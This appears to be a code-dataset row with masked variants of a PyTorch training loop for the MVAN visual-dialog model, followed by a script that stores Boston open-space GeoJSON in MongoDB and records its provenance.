\"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n <function token>\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<import token>\n<class token>\n" ]
false
9,914
2c82dd33180a7442607e5cbedf8846bd72b37150
import urllib.request import json import dml, prov.model import datetime, uuid import geojson # import csv """ Skelton file provided by [email protected] Heavily modified by [email protected] City of Boston Open Spaces (Like parks, etc) Development notes: """ class retrieve_open_space(dml.Algorithm): contributor = 'bmroach' reads = [] writes = ['bmroach.open_space'] @staticmethod def execute(trial = False, log=False): '''Retrieves open spaces in Boston as geoJSON''' startTime = datetime.datetime.now() # Set up the database connection. client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') # Do retrieving of data repo.dropCollection("open_space") repo.createCollection("open_space") url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson' response = urllib.request.urlopen(url).read().decode("utf-8") gj = geojson.loads(response) geoDict = dict(gj) geoList = geoDict['features'] repo['bmroach.open_space'].insert_many( geoList ) repo['bmroach.open_space'].metadata({'complete':True}) repo.logout() endTime = datetime.datetime.now() return {"start":startTime, "end":endTime} @staticmethod def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None): ''' Create the provenance document describing everything happening in this script. Each run of the script will generate a new document describing that invocation event. ''' client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format. doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format. doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'. doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log. doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/') this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'}) resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'}) get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime) doc.wasAssociatedWith(get_open_space, this_script) doc.usage(get_open_space,resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval', 'ont:Query':'' } ) open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'}) doc.wasAttributedTo(open_space, this_script) doc.wasGeneratedBy(open_space, get_open_space, endTime) doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space) repo.logout() return doc # retrieve_open_space.execute() # doc = retrieve_open_space.provenance() # print(doc.get_provn()) # print(json.dumps(json.loads(doc.serialize()), indent=4)) ## eof
[ "import urllib.request\nimport json\nimport dml, prov.model\nimport datetime, uuid\nimport geojson\n# import csv\n\n\"\"\"\nSkelton file provided by [email protected]\nHeavily modified by [email protected]\n\nCity of Boston Open Spaces (Like parks, etc)\n\nDevelopment notes:\n\n\n\"\"\"\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial = False, log=False):\n '''Retrieves open spaces in Boston as geoJSON'''\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n \n # Do retrieving of data\n repo.dropCollection(\"open_space\")\n repo.createCollection(\"open_space\") \n \n url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n response = urllib.request.urlopen(url).read().decode(\"utf-8\") \n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many( geoList )\n repo['bmroach.open_space'].metadata({'complete':True}) \n repo.logout()\n endTime = datetime.datetime.now()\n return {\"start\":startTime, \"end\":endTime}\n \n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log. \n doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\n \n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'})\n \n get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n \n doc.wasAssociatedWith(get_open_space, this_script)\n \n doc.usage(get_open_space,resource, startTime, None,\n {prov.model.PROV_TYPE:'ont:Retrieval',\n 'ont:Query':'' \n }\n )\n \n 